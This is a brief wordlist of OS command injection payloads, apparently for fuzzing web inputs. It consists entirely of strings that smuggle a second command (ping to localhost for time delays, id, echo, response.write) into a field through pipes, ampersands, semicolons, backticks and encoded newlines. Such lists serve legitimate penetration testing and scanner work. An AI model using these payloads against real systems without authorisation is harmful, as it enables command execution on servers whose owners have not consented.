|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
| ping -i 30 127.0.0.1 |
| ping -n 30 127.0.0.1 |
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
;ping 127.0.0.1;
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
;id
%0a id %0a
`id`
;echo 0123456789
echo 0123456789
response.write 0123456789
:response.write 0123456789
